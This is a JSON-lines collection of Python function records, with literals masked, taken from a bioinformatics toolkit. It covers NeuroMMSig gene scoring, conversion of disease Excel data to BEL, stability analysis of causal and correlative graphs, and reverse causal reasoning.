{"signature": "def compare(graph: BELGraph, annotation: str = '<STR_LIT>') -> Mapping[str, Mapping[str, float]]:", "body": "canonical_mechanisms = get_subgraphs_by_annotation(graph, annotation)<EOL>canonical_nodes = _transform_graph_dict_to_node_dict(canonical_mechanisms)<EOL>candidate_mechanisms = generate_bioprocess_mechanisms(graph)<EOL>candidate_nodes = _transform_graph_dict_to_node_dict(candidate_mechanisms)<EOL>results: Dict[str, Dict[str, float]] = defaultdict(dict)<EOL>it = itt.product(canonical_nodes.items(), candidate_nodes.items())<EOL>for (canonical_name, canonical_graph), (candidate_bp, candidate_graph) in it:<EOL><INDENT>tanimoto = tanimoto_set_similarity(candidate_nodes, canonical_nodes)<EOL>results[canonical_name][candidate_bp] = tanimoto<EOL><DEDENT>return dict(results)<EOL>", "docstring": "Compare generated mechanisms to actual ones.\n\n    1. Generates candidate mechanisms for each biological process\n    2. Gets sub-graphs for all NeuroMMSig signatures\n    3. Make tanimoto similarity comparison for all sets\n\n    :return: A dictionary table comparing the canonical subgraphs to generated ones", "id": "f9407:m0"}
{"signature": "def get_neurommsig_scores(graph: BELGraph,<EOL>genes: List[Gene],<EOL>annotation: str = '<STR_LIT>',<EOL>ora_weight: Optional[float] = None,<EOL>hub_weight: Optional[float] = None,<EOL>top_percent: Optional[float] = None,<EOL>topology_weight: Optional[float] = None,<EOL>preprocess: bool = False<EOL>) -> Optional[Mapping[str, float]]:", "body": "if preprocess:<EOL><INDENT>graph = neurommsig_graph_preprocessor.run(graph)<EOL><DEDENT>if not any(gene in graph for gene in genes):<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>return<EOL><DEDENT>subgraphs = get_subgraphs_by_annotation(graph, annotation=annotation)<EOL>return get_neurommsig_scores_prestratified(<EOL>subgraphs=subgraphs,<EOL>genes=genes,<EOL>ora_weight=ora_weight,<EOL>hub_weight=hub_weight,<EOL>top_percent=top_percent,<EOL>topology_weight=topology_weight,<EOL>)<EOL>", "docstring": "Preprocess the graph, stratify by the given annotation, then run the NeuroMMSig algorithm on each.\n\n    :param graph: A BEL graph\n    :param genes: A list of gene nodes\n    :param annotation: The annotation to use to stratify the graph to subgraphs\n    :param ora_weight: The relative weight of the over-enrichment analysis score from\n     :py:func:`neurommsig_gene_ora`. Defaults to 1.0.\n    :param hub_weight: The relative weight of the hub analysis score from :py:func:`neurommsig_hubs`.\n     Defaults to 1.0.\n    :param top_percent: The percentage of top genes to use as hubs. Defaults to 5% (0.05).\n    :param topology_weight: The relative weight of the topolgical analysis core from\n     :py:func:`neurommsig_topology`. Defaults to 1.0.\n    :param preprocess: If true, preprocess the graph.\n    :return: A dictionary from {annotation value: NeuroMMSig composite score}\n\n    Pre-processing steps:\n\n    1. Infer the central dogma with :func:``\n    2. Collapse all proteins, RNAs and miRNAs to genes with :func:``\n    3. Collapse variants to genes with :func:``", "id": "f9408:m0"}
{"signature": "def get_neurommsig_scores_prestratified(subgraphs: Mapping[str, BELGraph],<EOL>genes: List[Gene],<EOL>ora_weight: Optional[float] = None,<EOL>hub_weight: Optional[float] = None,<EOL>top_percent: Optional[float] = None,<EOL>topology_weight: Optional[float] = None,<EOL>) -> Optional[Mapping[str, float]]:", "body": "return {<EOL>name: get_neurommsig_score(<EOL>graph=subgraph,<EOL>genes=genes,<EOL>ora_weight=ora_weight,<EOL>hub_weight=hub_weight,<EOL>top_percent=top_percent,<EOL>topology_weight=topology_weight,<EOL>)<EOL>for name, subgraph in subgraphs.items()<EOL>}<EOL>", "docstring": "Takes a graph stratification and runs neurommsig on each\n\n    :param subgraphs: A pre-stratified set of graphs\n    :param genes: A list of gene nodes\n    :param ora_weight: The relative weight of the over-enrichment analysis score from\n     :py:func:`neurommsig_gene_ora`. Defaults to 1.0.\n    :param hub_weight: The relative weight of the hub analysis score from :py:func:`neurommsig_hubs`.\n     Defaults to 1.0.\n    :param top_percent: The percentage of top genes to use as hubs. Defaults to 5% (0.05).\n    :param topology_weight: The relative weight of the topolgical analysis core from\n     :py:func:`neurommsig_topology`. Defaults to 1.0.\n    :return: A dictionary from {annotation value: NeuroMMSig composite score}\n\n    Pre-processing steps:\n\n    1. Infer the central dogma with :func:``\n    2. Collapse all proteins, RNAs and miRNAs to genes with :func:``\n    3. Collapse variants to genes with :func:``", "id": "f9408:m1"}
{"signature": "def get_neurommsig_score(graph: BELGraph,<EOL>genes: List[Gene],<EOL>ora_weight: Optional[float] = None,<EOL>hub_weight: Optional[float] = None,<EOL>top_percent: Optional[float] = None,<EOL>topology_weight: Optional[float] = None) -> float:", "body": "ora_weight = ora_weight or <NUM_LIT:1.0><EOL>hub_weight = hub_weight or <NUM_LIT:1.0><EOL>topology_weight = topology_weight or <NUM_LIT:1.0><EOL>total_weight = ora_weight + hub_weight + topology_weight<EOL>genes = list(genes)<EOL>ora_score = neurommsig_gene_ora(graph, genes)<EOL>hub_score = neurommsig_hubs(graph, genes, top_percent=top_percent)<EOL>topology_score = neurommsig_topology(graph, genes)<EOL>weighted_sum = (<EOL>ora_weight * ora_score +<EOL>hub_weight * hub_score +<EOL>topology_weight * topology_score<EOL>)<EOL>return weighted_sum / total_weight<EOL>", "docstring": "Calculate the composite NeuroMMSig Score for a given list of genes.\n\n    :param graph: A BEL graph\n    :param genes: A list of gene nodes\n    :param ora_weight: The relative weight of the over-enrichment analysis score from\n     :py:func:`neurommsig_gene_ora`. Defaults to 1.0.\n    :param hub_weight: The relative weight of the hub analysis score from :py:func:`neurommsig_hubs`.\n     Defaults to 1.0.\n    :param top_percent: The percentage of top genes to use as hubs. Defaults to 5% (0.05).\n    :param topology_weight: The relative weight of the topolgical analysis core from\n     :py:func:`neurommsig_topology`. Defaults to 1.0.\n    :return: The NeuroMMSig composite score", "id": "f9408:m2"}
{"signature": "def neurommsig_gene_ora(graph: BELGraph, genes: List[Gene]) -> float:", "body": "graph_genes = set(get_nodes_by_function(graph, GENE))<EOL>return len(graph_genes.intersection(genes)) / len(graph_genes)<EOL>", "docstring": "Calculate the percentage of target genes mappable to the graph.\n\n    Assume: graph central dogma inferred, collapsed to genes, collapsed variants", "id": "f9408:m3"}
{"signature": "def neurommsig_hubs(graph: BELGraph, genes: List[Gene], top_percent: Optional[float] = None) -> float:", "body": "top_percent = top_percent or <NUM_LIT><EOL>if graph.number_of_nodes() < <NUM_LIT:20>:<EOL><INDENT>logger.debug('<STR_LIT>')<EOL>return <NUM_LIT:0.0><EOL><DEDENT>graph_genes = set(get_nodes_by_function(graph, GENE))<EOL>bc = Counter({<EOL>node: betweenness_centrality<EOL>for node, betweenness_centrality in calculate_betweenness_centality(graph).items()<EOL>if node in graph_genes<EOL>})<EOL>number_central_nodes = int(len(graph_genes) * top_percent)<EOL>if number_central_nodes < <NUM_LIT:1>:<EOL><INDENT>number_central_nodes = <NUM_LIT:1><EOL><DEDENT>number_mappable_central_nodes = sum(<EOL>node in genes<EOL>for node in bc.most_common(number_central_nodes)<EOL>)<EOL>return number_mappable_central_nodes / number_central_nodes<EOL>", "docstring": "Calculate the percentage of target genes mappable to the graph.\n\n    Assume: graph central dogma inferred, collapsed to genes, collapsed variants, graph has more than 20 nodes\n\n    :param graph: A BEL graph\n    :param genes: A list of nodes\n    :param top_percent: The percentage of top genes to use as hubs. Defaults to 5% (0.05).", "id": "f9408:m4"}
{"signature": "def neurommsig_topology(graph: BELGraph, nodes: List[BaseEntity]) -> float:", "body": "nodes = list(nodes)<EOL>number_nodes = len(nodes)<EOL>if number_nodes <= <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:0.0><EOL><DEDENT>unnormalized_sum = sum(<EOL>u in graph[v]<EOL>for u, v in itt.product(nodes, repeat=<NUM_LIT:2>)<EOL>if v in graph and u != v<EOL>)<EOL>return unnormalized_sum / (number_nodes * (number_nodes - <NUM_LIT:1.0>))<EOL>", "docstring": "Calculate the node neighbor score for a given list of nodes.\n\n    -  Doesn't consider self loops\n\n    .. math::\n\n         \\frac{\\sum_i^n N_G[i]}{n*(n-1)}", "id": "f9408:m5"}
{"signature": "@click.command()<EOL>def main():", "body": "logging.basicConfig(level=logging.INFO)<EOL>log.setLevel(logging.INFO)<EOL>bms_base = get_bms_base()<EOL>neurommsig_base = get_neurommsig_base()<EOL>neurommsig_excel_dir = os.path.join(neurommsig_base, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL>nift_values = get_nift_values()<EOL>log.info('<STR_LIT>')<EOL>ad_path = os.path.join(neurommsig_excel_dir, '<STR_LIT>', '<STR_LIT>')<EOL>ad_df = preprocess(ad_path)<EOL>with open(os.path.join(bms_base, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'), '<STR_LIT:w>') as ad_file:<EOL><INDENT>write_neurommsig_bel(ad_file, ad_df, mesh_alzheimer, nift_values)<EOL><DEDENT>log.info('<STR_LIT>')<EOL>pd_path = os.path.join(neurommsig_excel_dir, '<STR_LIT>', '<STR_LIT>')<EOL>pd_df = preprocess(pd_path)<EOL>with open(os.path.join(bms_base, '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'), '<STR_LIT:w>') as pd_file:<EOL><INDENT>write_neurommsig_bel(pd_file, pd_df, mesh_parkinson, nift_values)<EOL><DEDENT>", "docstring": "Convert the Alzheimer's and Parkinson's disease NeuroMMSig excel sheets to BEL.", "id": "f9409:m0"}
{"signature": "def preprocessing_excel(path):", "body": "if not os.path.exists(path):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % path)<EOL><DEDENT>df = pd.read_excel(path, sheetname=<NUM_LIT:0>, header=<NUM_LIT:0>)<EOL>df.iloc[:, <NUM_LIT:0>] = pd.Series(df.iloc[:, <NUM_LIT:0>]).fillna(method='<STR_LIT>')<EOL>df = df[df.ix[:, <NUM_LIT:1>].notnull()]<EOL>df = df.reset_index(drop=True)<EOL>df.ix[:, <NUM_LIT:2>].fillna(<NUM_LIT:0>, inplace=True)<EOL>if (df.ix[:, <NUM_LIT:1>].isnull().sum()) != <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return df<EOL>", "docstring": "Preprocess the excel sheet\n\n    :param filepath: filepath of the excel data\n    :return: df: pandas dataframe with excel data\n    :rtype: pandas.DataFrame", "id": "f9410:m0"}
{"signature": "def munge_cell(cell, line=None, validators=None):", "body": "if pd.isnull(cell) or isinstance(cell, int):<EOL><INDENT>return None<EOL><DEDENT>c = '<STR_LIT:U+0020>'.join(cell.split())<EOL>if validators is not None and all(re.match(validator, c) is None for validator in validators):<EOL><INDENT>if line:<EOL><INDENT>log.info(\"<STR_LIT>\", line, c)<EOL><DEDENT>return None<EOL><DEDENT>return [x.strip() for x in str(c).strip().split('<STR_LIT:U+002C>')]<EOL>", "docstring": ":param cell:\n:param line:\n:param validators:\n:return:", "id": "f9410:m1"}
{"signature": "def preprocessing_br_projection_excel(path: str) -> pd.DataFrame:", "body": "if not os.path.exists(path):<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % path)<EOL><DEDENT>return pd.read_excel(path, sheetname=<NUM_LIT:0>, header=<NUM_LIT:0>)<EOL>", "docstring": "Preprocess the excel file.\n\n    Parameters\n    ----------\n    path : Filepath of the excel sheet", "id": "f9410:m2"}
{"signature": "def get_nift_values() -> Mapping[str, str]:", "body": "r = get_bel_resource(NIFT)<EOL>return {<EOL>name.lower(): name<EOL>for name in r['<STR_LIT>']<EOL>}<EOL>", "docstring": "Extract the list of NIFT names from the BEL resource and builds a dictionary mapping from the lowercased version\n    to the uppercase version.", "id": "f9410:m4"}
{"signature": "def write_neurommsig_bel(file,<EOL>df: pd.DataFrame,<EOL>disease: str,<EOL>nift_values: Mapping[str, str],<EOL>):", "body": "write_neurommsig_biolerplate(disease, file)<EOL>missing_features = set()<EOL>fixed_caps = set()<EOL>nift_value_originals = set(nift_values.values())<EOL>graph = BELGraph(<EOL>name=f'<STR_LIT>',<EOL>description=f'<STR_LIT>',<EOL>authors='<STR_LIT>',<EOL>contact='<STR_LIT>',<EOL>version=time.strftime('<STR_LIT>'),<EOL>)<EOL>for pathway, pathway_df in df.groupby(pathway_column):<EOL><INDENT>sorted_pathway_df = pathway_df.sort_values(genes_column)<EOL>sliced_df = sorted_pathway_df[columns].itertuples()<EOL>for _, gene, pubmeds, lit_snps, gwas_snps, ld_block_snps, clinical_features, clinical_snps in sliced_df:<EOL><INDENT>gene = ensure_quotes(gene)<EOL>for snp in itt.chain(lit_snps or [], gwas_snps or [], ld_block_snps or [], clinical_snps or []):<EOL><INDENT>if not snp.strip():<EOL><INDENT>continue<EOL><DEDENT>graph.add_association(<EOL>Gene('<STR_LIT>', gene),<EOL>Gene('<STR_LIT>', snp),<EOL>evidence='<STR_LIT>',<EOL>citation='<STR_LIT>',<EOL>annotations={<EOL>'<STR_LIT>': disease,<EOL>},<EOL>)<EOL><DEDENT>for clinical_feature in clinical_features or []:<EOL><INDENT>if not clinical_feature.strip():<EOL><INDENT>continue<EOL><DEDENT>if clinical_feature.lower() not in nift_values:<EOL><INDENT>missing_features.add(clinical_feature)<EOL>continue<EOL><DEDENT>if clinical_feature not in nift_value_originals:<EOL><INDENT>fixed_caps.add((clinical_feature, nift_values[clinical_feature.lower()]))<EOL>clinical_feature = nift_values[clinical_feature.lower()]  <EOL><DEDENT>graph.add_association(<EOL>Gene('<STR_LIT>', gene),<EOL>Abundance('<STR_LIT>', clinical_feature),<EOL>evidence='<STR_LIT>',<EOL>citation='<STR_LIT>',<EOL>annotations={<EOL>'<STR_LIT>': disease,<EOL>},<EOL>)<EOL>if clinical_snps:<EOL><INDENT>for clinical_snp in clinical_snps:<EOL><INDENT>graph.add_association(<EOL>Gene('<STR_LIT>', clinical_snp),<EOL>Abundance('<STR_LIT>', clinical_feature),<EOL>evidence='<STR_LIT>',<EOL>citation='<STR_LIT>',<EOL>annotations={<EOL>'<STR_LIT>': disease,<EOL>},<EOL>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if missing_features:<EOL><INDENT>log.warning('<STR_LIT>', disease)<EOL>for feature in missing_features:<EOL><INDENT>log.warning(feature)<EOL><DEDENT><DEDENT>if fixed_caps:<EOL><INDENT>log.warning('<STR_LIT>')<EOL>for broken, fixed in fixed_caps:<EOL><INDENT>log.warning('<STR_LIT>', broken, fixed)<EOL><DEDENT><DEDENT>", "docstring": "Writes the NeuroMMSigDB excel sheet to BEL\n\n    :param file: a file or file-like that can be writen to\n    :param df:\n    :param disease:\n    :param nift_values: a dictionary of lowercased to normal names in NIFT", "id": "f9410:m6"}
{"signature": "def get_bms_base() -> str:", "body": "bms_base = os.environ.get('<STR_LIT>')<EOL>if bms_base is None:<EOL><INDENT>raise RuntimeError(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>return bms_base<EOL>", "docstring": "Get the path to the BMS git repository from the environment or thrown an exception.\n\n    :raises: RuntimeError", "id": "f9413:m4"}
{"signature": "def get_neurommsig_base() -> str:", "body": "neurommsig_base = os.environ.get('<STR_LIT>')<EOL>if neurommsig_base is None:<EOL><INDENT>raise RuntimeError(\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT>return neurommsig_base<EOL>", "docstring": "Get the path to the NeuroMMSig git repository from the environment or thrown an exception.\n\n    :raises: RuntimeError", "id": "f9413:m5"}
{"signature": "def get_contradiction_summary(graph: BELGraph) -> Iterable[Tuple[BaseEntity, BaseEntity, str]]:", "body": "for u, v in set(graph.edges()):<EOL><INDENT>relations = {data[RELATION] for data in graph[u][v].values()}<EOL>if relation_set_has_contradictions(relations):<EOL><INDENT>yield u, v, relations<EOL><DEDENT><DEDENT>", "docstring": "Yield triplets of (source node, target node, set of relations) for (source node, target node) pairs\n    that have multiple, contradictory relations.", "id": "f9414:m0"}
{"signature": "def get_regulatory_pairs(graph: BELGraph) -> Set[NodePair]:", "body": "cg = get_causal_subgraph(graph)<EOL>results = set()<EOL>for u, v, d in cg.edges(data=True):<EOL><INDENT>if d[RELATION] not in CAUSAL_INCREASE_RELATIONS:<EOL><INDENT>continue<EOL><DEDENT>if cg.has_edge(v, u) and any(dd[RELATION] in CAUSAL_DECREASE_RELATIONS for dd in cg[v][u].values()):<EOL><INDENT>results.add((u, v))<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Find pairs of nodes that have mutual causal edges that are regulating each other such that ``A -> B`` and\n    ``B -| A``.\n\n    :return: A set of pairs of nodes with mutual causal edges", "id": "f9414:m1"}
{"signature": "def get_chaotic_pairs(graph: BELGraph) -> SetOfNodePairs:", "body": "cg = get_causal_subgraph(graph)<EOL>results = set()<EOL>for u, v, d in cg.edges(data=True):<EOL><INDENT>if d[RELATION] not in CAUSAL_INCREASE_RELATIONS:<EOL><INDENT>continue<EOL><DEDENT>if cg.has_edge(v, u) and any(dd[RELATION] in CAUSAL_INCREASE_RELATIONS for dd in cg[v][u].values()):<EOL><INDENT>results.add(tuple(sorted([u, v], key=str)))<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Find pairs of nodes that have mutual causal edges that are increasing each other such that ``A -> B`` and\n    ``B -> A``.\n\n    :return: A set of pairs of nodes with mutual causal edges", "id": "f9414:m2"}
{"signature": "def get_dampened_pairs(graph: BELGraph) -> SetOfNodePairs:", "body": "cg = get_causal_subgraph(graph)<EOL>results = set()<EOL>for u, v, d in cg.edges(data=True):<EOL><INDENT>if d[RELATION] not in CAUSAL_DECREASE_RELATIONS:<EOL><INDENT>continue<EOL><DEDENT>if cg.has_edge(v, u) and any(dd[RELATION] in CAUSAL_DECREASE_RELATIONS for dd in cg[v][u].values()):<EOL><INDENT>results.add(tuple(sorted([u, v], key=str)))<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Find pairs of nodes that have mutual causal edges that are decreasing each other such that ``A -| B`` and\n    ``B -| A``.\n\n    :return: A set of pairs of nodes with mutual causal edges", "id": "f9414:m3"}
{"signature": "def get_correlation_graph(graph: BELGraph) -> Graph:", "body": "result = Graph()<EOL>for u, v, d in graph.edges(data=True):<EOL><INDENT>if d[RELATION] not in CORRELATIVE_RELATIONS:<EOL><INDENT>continue<EOL><DEDENT>if not result.has_edge(u, v):<EOL><INDENT>result.add_edge(u, v, **{d[RELATION]: True})<EOL><DEDENT>elif d[RELATION] not in result[u][v]:<EOL><INDENT>log.log(<NUM_LIT:5>, '<STR_LIT>', u, v)<EOL>result[u][v][d[RELATION]] = True<EOL>result[v][u][d[RELATION]] = True<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Extract an undirected graph of only correlative relationships.", "id": "f9414:m4"}
{"signature": "def get_correlation_triangles(graph: BELGraph) -> SetOfNodeTriples:", "body": "return {<EOL>tuple(sorted([n, u, v], key=str))<EOL>for n in graph<EOL>for u, v in itt.combinations(graph[n], <NUM_LIT:2>)<EOL>if graph.has_edge(u, v)<EOL>}<EOL>", "docstring": "Return a set of all triangles pointed by the given node.", "id": "f9414:m5"}
{"signature": "def get_triangles(graph: DiGraph) -> SetOfNodeTriples:", "body": "return {<EOL>tuple(sorted([a, b, c], key=str))<EOL>for a, b in graph.edges()<EOL>for c in graph.successors(b)<EOL>if graph.has_edge(c, a)<EOL>}<EOL>", "docstring": "Get a set of triples representing the 3-cycles from a directional graph.\n\n    Each 3-cycle is returned once, with nodes in sorted order.", "id": "f9414:m6"}
{"signature": "def get_separate_unstable_correlation_triples(graph: BELGraph) -> Iterable[NodeTriple]:", "body": "cg = get_correlation_graph(graph)<EOL>for a, b, c in get_correlation_triangles(cg):<EOL><INDENT>if POSITIVE_CORRELATION in cg[a][b] and POSITIVE_CORRELATION in cg[b][c] and NEGATIVE_CORRELATION incg[a][c]:<EOL><INDENT>yield b, a, c<EOL><DEDENT>if POSITIVE_CORRELATION in cg[a][b] and NEGATIVE_CORRELATION in cg[b][c] and POSITIVE_CORRELATION incg[a][c]:<EOL><INDENT>yield a, b, c<EOL><DEDENT>if NEGATIVE_CORRELATION in cg[a][b] and POSITIVE_CORRELATION in cg[b][c] and POSITIVE_CORRELATION incg[a][c]:<EOL><INDENT>yield c, a, b<EOL><DEDENT><DEDENT>", "docstring": "Yield all triples of nodes A, B, C such that ``A pos B``, ``A pos C``, and ``B neg C``.\n\n    :return: An iterator over triples of unstable graphs, where the second two are negative", "id": "f9414:m7"}
{"signature": "def get_mutually_unstable_correlation_triples(graph: BELGraph) -> Iterable[NodeTriple]:", "body": "cg = get_correlation_graph(graph)<EOL>for a, b, c in get_correlation_triangles(cg):<EOL><INDENT>if all(NEGATIVE_CORRELATION in x for x in (cg[a][b], cg[b][c], cg[a][c])):<EOL><INDENT>yield a, b, c<EOL><DEDENT><DEDENT>", "docstring": "Yield triples of nodes (A, B, C) such that ``A neg B``, ``B neg C``, and ``C neg A``.", "id": "f9414:m8"}
{"signature": "def jens_transformation_alpha(graph: BELGraph) -> DiGraph:", "body": "result = DiGraph()<EOL>for u, v, d in graph.edges(data=True):<EOL><INDENT>relation = d[RELATION]<EOL>if relation == POSITIVE_CORRELATION:<EOL><INDENT>result.add_edge(u, v)<EOL>result.add_edge(v, u)<EOL><DEDENT>elif relation in CAUSAL_INCREASE_RELATIONS:<EOL><INDENT>result.add_edge(u, v)<EOL><DEDENT>elif relation in CAUSAL_DECREASE_RELATIONS:<EOL><INDENT>result.add_edge(v, u)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Apply Jens' transformation (Type 1) to the graph.\n\n    1. Induce a sub-graph over causal + correlative edges\n    2. Transform edges by the following rules:\n        - increases => increases\n        - decreases => backwards increases\n        - positive correlation => two way increases\n        - negative correlation => delete\n\n    The resulting graph can be used to search for 3-cycles, which now symbolize unstable triplets where ``A -> B``,\n    ``A -| C`` and ``B positiveCorrelation C``.", "id": "f9414:m9"}
{"signature": "def jens_transformation_beta(graph: BELGraph) -> DiGraph:", "body": "result = DiGraph()<EOL>for u, v, d in graph.edges(data=True):<EOL><INDENT>relation = d[RELATION]<EOL>if relation == NEGATIVE_CORRELATION:<EOL><INDENT>result.add_edge(u, v)<EOL>result.add_edge(v, u)<EOL><DEDENT>elif relation in CAUSAL_INCREASE_RELATIONS:<EOL><INDENT>result.add_edge(v, u)<EOL><DEDENT>elif relation in CAUSAL_DECREASE_RELATIONS:<EOL><INDENT>result.add_edge(u, v)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Apply Jens' Transformation (Type 2) to the graph.\n\n    1. Induce a sub-graph over causal and correlative relations\n    2. Transform edges with the following rules:\n        - increases => backwards decreases\n        - decreases => decreases\n        - positive correlation => delete\n        - negative correlation => two way decreases\n\n    The resulting graph can be used to search for 3-cycles, which now symbolize stable triples where ``A -> B``,\n    ``A -| C`` and ``B negativeCorrelation C``.", "id": "f9414:m10"}
{"signature": "def get_jens_unstable(graph: BELGraph) -> Iterable[NodeTriple]:", "body": "r = jens_transformation_alpha(graph)<EOL>return get_triangles(r)<EOL>", "docstring": "Yield triples of nodes (A, B, C) where ``A -> B``, ``A -| C``, and ``C positiveCorrelation A``.\n\n    Calculated efficiently using the Jens Transformation.", "id": "f9414:m11"}
{"signature": "def get_increase_mismatch_triplets(graph: BELGraph) -> Iterable[NodeTriple]:", "body": "return _get_mismatch_triplets_helper(graph, CAUSAL_INCREASE_RELATIONS)<EOL>", "docstring": "Yield triples of nodes (A, B, C) where ``A -> B``, ``A -> C``, and ``C negativeCorrelation A``.", "id": "f9414:m13"}
{"signature": "def get_decrease_mismatch_triplets(graph: BELGraph) -> Iterable[NodeTriple]:", "body": "return _get_mismatch_triplets_helper(graph, CAUSAL_DECREASE_RELATIONS)<EOL>", "docstring": "Yield triples of nodes (A, B, C) where ``A -| B``, ``A -| C``, and ``C negativeCorrelation A``.", "id": "f9414:m14"}
{"signature": "def get_chaotic_triplets(graph: BELGraph) -> Iterable[NodeTriple]:", "body": "return _get_disregulated_triplets_helper(graph, CAUSAL_INCREASE_RELATIONS)<EOL>", "docstring": "Yield triples of nodes (A, B, C) that mutually increase each other, such as when ``A -> B``, ``B -> C``, and\n    ``C -> A``.", "id": "f9414:m16"}
{"signature": "def get_dampened_triplets(graph: BELGraph) -> Iterable[NodeTriple]:", "body": "return _get_disregulated_triplets_helper(graph, CAUSAL_DECREASE_RELATIONS)<EOL>", "docstring": "Yield triples of nodes (A, B, C) that mutually decreases each other, such as when ``A -| B``,\n    ``B -| C``, and ``C -| A``.", "id": "f9414:m17"}
{"signature": "def summarize_stability(graph: BELGraph) -> Mapping[str, int]:", "body": "regulatory_pairs = get_regulatory_pairs(graph)<EOL>chaotic_pairs = get_chaotic_pairs(graph)<EOL>dampened_pairs = get_dampened_pairs(graph)<EOL>contraditory_pairs = get_contradiction_summary(graph)<EOL>separately_unstable_triples = get_separate_unstable_correlation_triples(graph)<EOL>mutually_unstable_triples = get_mutually_unstable_correlation_triples(graph)<EOL>jens_unstable_triples = get_jens_unstable(graph)<EOL>increase_mismatch_triples = get_increase_mismatch_triplets(graph)<EOL>decrease_mismatch_triples = get_decrease_mismatch_triplets(graph)<EOL>chaotic_triples = get_chaotic_triplets(graph)<EOL>dampened_triples = get_dampened_triplets(graph)<EOL>return {<EOL>'<STR_LIT>': _count_or_len(regulatory_pairs),<EOL>'<STR_LIT>': _count_or_len(chaotic_pairs),<EOL>'<STR_LIT>': _count_or_len(dampened_pairs),<EOL>'<STR_LIT>': _count_or_len(contraditory_pairs),<EOL>'<STR_LIT>': _count_or_len(separately_unstable_triples),<EOL>'<STR_LIT>': _count_or_len(mutually_unstable_triples),<EOL>'<STR_LIT>': _count_or_len(jens_unstable_triples),<EOL>'<STR_LIT>': _count_or_len(increase_mismatch_triples),<EOL>'<STR_LIT>': _count_or_len(decrease_mismatch_triples),<EOL>'<STR_LIT>': _count_or_len(chaotic_triples),<EOL>'<STR_LIT>': _count_or_len(dampened_triples)<EOL>}<EOL>", "docstring": "Summarize the stability of the graph.", "id": "f9414:m18"}
{"signature": "def run_rcr(graph, tag='<STR_LIT>'):", "body": "<EOL>hypotheses = defaultdict(set)<EOL>increases = defaultdict(set)<EOL>decreases = defaultdict(set)<EOL>for u, v, d in graph.edges(data=True):<EOL><INDENT>hypotheses[u].add(v)<EOL>if d[RELATION] in CAUSAL_INCREASE_RELATIONS:<EOL><INDENT>increases[u].add(v)<EOL><DEDENT>elif d[RELATION] in CAUSAL_DECREASE_RELATIONS:<EOL><INDENT>decreases[u].add(v)<EOL><DEDENT><DEDENT>correct = defaultdict(int)<EOL>contra = defaultdict(int)<EOL>ambiguous = defaultdict(int)<EOL>missing = defaultdict(int)<EOL>for controller, downstream_nodes in hypotheses.items():<EOL><INDENT>if len(downstream_nodes) < <NUM_LIT:4>:<EOL><INDENT>continue  <EOL><DEDENT>for node in downstream_nodes:<EOL><INDENT>if node in increases[controller] and node in decreases[controller]:<EOL><INDENT>ambiguous[controller] += <NUM_LIT:1><EOL><DEDENT>elif node in increases[controller]:<EOL><INDENT>if graph.node[node][tag] == <NUM_LIT:1>:<EOL><INDENT>correct[controller] += <NUM_LIT:1><EOL><DEDENT>elif graph.node[node][tag] == -<NUM_LIT:1>:<EOL><INDENT>contra[controller] += <NUM_LIT:1><EOL><DEDENT><DEDENT>elif node in decreases[controller]:<EOL><INDENT>if graph.node[node][tag] == <NUM_LIT:1>:<EOL><INDENT>contra[controller] += <NUM_LIT:1><EOL><DEDENT>elif graph.node[node][tag] == -<NUM_LIT:1>:<EOL><INDENT>correct[controller] += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>missing[controller] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>controllers = {<EOL>controller<EOL>for controller, downstream_nodes in hypotheses.items()<EOL>if <NUM_LIT:4> <= len(downstream_nodes)<EOL>}<EOL>concordance_scores = {<EOL>controller: scipy.stats.beta(<NUM_LIT:0.5>, correct[controller], contra[controller])<EOL>for controller in controllers<EOL>}<EOL>population = {<EOL>node<EOL>for controller in controllers<EOL>for node in hypotheses[controller]<EOL>}<EOL>population_size = len(population)<EOL>return pandas.DataFrame({<EOL>'<STR_LIT>': contra,<EOL>'<STR_LIT>': correct,<EOL>'<STR_LIT>': concordance_scores<EOL>})<EOL>", "docstring": "Run the reverse causal reasoning algorithm on a graph.\n\n    Steps:\n\n    1. Get all downstream controlled things into map (that have at least 4 downstream things)\n    2. calculate population of all things that are downstream controlled\n\n    .. note:: Assumes all nodes have been pre-tagged with data\n\n    :param pybel.BELGraph graph:\n    :param str tag: The key for the nodes' data dictionaries that corresponds to the integer value for its differential\n                    expression.", "id": "f9415:m2"}
{"signature": "def get_cutoff(value: float, cutoff: Optional[float] = None) -> int:", "body": "cutoff = cutoff if cutoff is not None else <NUM_LIT:0><EOL>if value > cutoff:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>if value < (-<NUM_LIT:1> * cutoff):<EOL><INDENT>return - <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Assign if a value is greater than or less than a cutoff.", "id": "f9416:m0"}
